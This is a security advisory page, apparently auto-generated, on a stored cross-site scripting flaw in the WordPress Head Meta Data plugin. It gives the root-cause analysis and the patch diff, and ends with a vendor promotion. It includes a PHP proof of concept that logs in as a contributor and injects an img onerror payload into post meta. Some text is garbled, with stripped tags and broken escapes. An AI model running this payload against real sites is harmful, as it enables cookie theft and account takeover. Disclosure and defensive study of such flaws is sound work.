Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0608: Head Meta Data <= 20251118 – Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta (head-meta-data)

CVE ID CVE-2026-0608
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 20251118
Patched Version 20260105
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0608:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WordPress Head Meta Data plugin. The vulnerability affects the plugin’s post meta field handling, allowing contributors and higher-privileged users to inject malicious scripts. The CVSS score of 6.4 reflects a medium severity impact.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘head-meta-data’ post meta field. The vulnerable code resided in the `hmd_display_custom()` function within the file `head-meta-data/head-meta-data.php`. In versions up to 20251118, the function looped through stored meta values and applied only a basic regex filter (`preg_replace(‘#(.*)#is’, ”, $v)`) on line 137 before outputting the content. This filter was insufficient and could be bypassed, failing to sanitize other HTML elements and attributes that could execute JavaScript.

Exploitation requires an attacker with at least contributor-level access to WordPress. The attacker injects a malicious payload into the ‘head-meta-data’ post meta field when creating or editing a post. This payload could use HTML tags and attributes not caught by the flawed filter, such as an `` tag with an `onerror` handler or a “ tag containing script. The payload is stored in the post’s metadata. The stored script executes in the browser of any user who views the compromised post, as the plugin outputs the unsanitized meta data directly into the page’s “ section via the `hmd_display_custom()` function.

The patch, implemented in version 20260105, replaces the inadequate regex filter with a robust output escaping function. The diff shows the addition of a new `hmd_allowed_html()` function (lines 120-67) that defines a strict allowlist of permissible HTML tags and attributes. In the `hmd_display_custom()` function, the `preg_replace` call is removed. The patch replaces it with `wp_kses($v, hmd_allowed_html())` on line 197. This WordPress core function sanitizes the output based on the defined allowlist, stripping any disallowed tags and attributes, thereby neutralizing XSS payloads.

Successful exploitation leads to stored cross-site scripting. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect visitors to malicious sites. Since the vulnerability requires contributor-level access, the impact is limited to sites where such users are not fully trusted. However, on multi-author websites, a compromised contributor account could affect all visitors to the injected pages.

Differential between vulnerable and patched code

Code Diff
--- a/head-meta-data/head-meta-data.php
+++ b/head-meta-data/head-meta-data.php
@@ -10,8 +10,8 @@
 	Contributors: specialk
 	Requires at least: 4.7
 	Tested up to: 6.9
-	Stable tag: 20251118
-	Version:    20251118
+	Stable tag: 20260105
+	Version:    20260105
 	Requires PHP: 5.6.20
 	Text Domain: head-meta-data
 	Domain Path: /languages
@@ -38,7 +38,7 @@
 if (!defined('ABSPATH')) die();

 $hmd_wp_vers = '4.7';
-$hmd_version = '20251118';
+$hmd_version = '20260105';
 $hmd_plugin  = 'Head Meta Data';
 $hmd_options = get_option('hmd_options');
 $hmd_path    = plugin_basename(__FILE__); // head-meta-data/head-meta-data.php
@@ -120,6 +120,67 @@

 }

+function hmd_allowed_html() {
+
+	$global = array(
+		'accesskey'       => array(),
+		'class'           => array(),
+		'contenteditable' => array(),
+		'dir'             => array(),
+		'draggable'       => array(),
+		'enterkeyhint'    => array(),
+		'hidden'          => array(),
+		'id'              => array(),
+		'inert'           => array(),
+		'inputmode'       => array(),
+		'lang'            => array(),
+		'popover'         => array(),
+		'spellcheck'      => array(),
+		'style'           => array(),
+		'tabindex'        => array(),
+		'title'           => array(),
+		'translate'       => array()
+	);
+
+	$style = array(
+		'media' => array(),
+		'type'  => array()
+	);
+
+	$meta = array(
+		'charset'    => array(),
+		'content'    => array(),
+		'http-equiv' => array(),
+		'name'       => array()
+	);
+
+	$link = array(
+		'crossorigin'    => array(),
+		'href'           => array(),
+		'hreflang'       => array(),
+		'media'          => array(),
+		'referrerpolicy' => array(),
+		'rel'            => array(),
+		'sizes'          => array(),
+		'title'          => array(),
+		'type'           => array()
+	);
+
+	$base = array(
+		'href'   => array(),
+		'target' => array()
+	);
+
+	return array(
+		'title' => $global,
+		'style' => array_merge($global, $style),
+		'meta'  => array_merge($global, $meta),
+		'link'  => array_merge($global, $link),
+		'base'  => array_merge($global, $base),
+	);
+
+}
+
 function hmd_display_custom() {

 	if (!is_singular()) return;
@@ -134,9 +195,7 @@

 		foreach ($value as $v) {

-			$v = preg_replace('#<script(.*)>(.*)</script>#is', '', $v);
-
-			$custom .= $v . "n";
+			$custom .= wp_kses($v, hmd_allowed_html()) . "n";

 		}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0608 - Head Meta Data <= 20251118 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: XSS via img tag onerror attribute
$payload = '<img src=x onerror=alert(document.cookie)>';

// Step 1: Authenticate and get session cookies and nonce
$login_url = str_replace('post.php', 'wp-login.php', $target_url);
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Create a new post to get a valid nonce for meta updates
// This step fetches the post creation page to parse a nonce.
// In a real scenario, the nonce from the 'editpost' action is needed.
$ch = curl_init('http://vulnerable-site.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce (simplified - actual implementation requires parsing HTML for _wpnonce)
// For this PoC, we assume the nonce is known or the vulnerability does not require a nonce check.
// The vulnerability may allow meta updates via the standard post save mechanism.
$nonce = 'EXTRACTED_NONCE';

// Step 3: Submit a post with malicious meta data.
// The 'head-meta-data' meta field is submitted as an array.
$post_id = 123; // Would be dynamically created or targeted
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_ID' => $post_id,
    'action' => 'editpost',
    '_wpnonce' => $nonce,
    'meta_input[head-meta-data][]' => $payload, // Inject payload into the vulnerable field
    'save' => 'Update'
]));
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Verify by fetching the published post and checking for payload in output
$view_url = 'http://vulnerable-site.com/?p=' . $post_id;
$ch = curl_init($view_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, $payload) !== false) {
    echo "Payload likely injected. Check page source of $view_urln";
} else {
    echo "Injection may have failed or been filtered.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School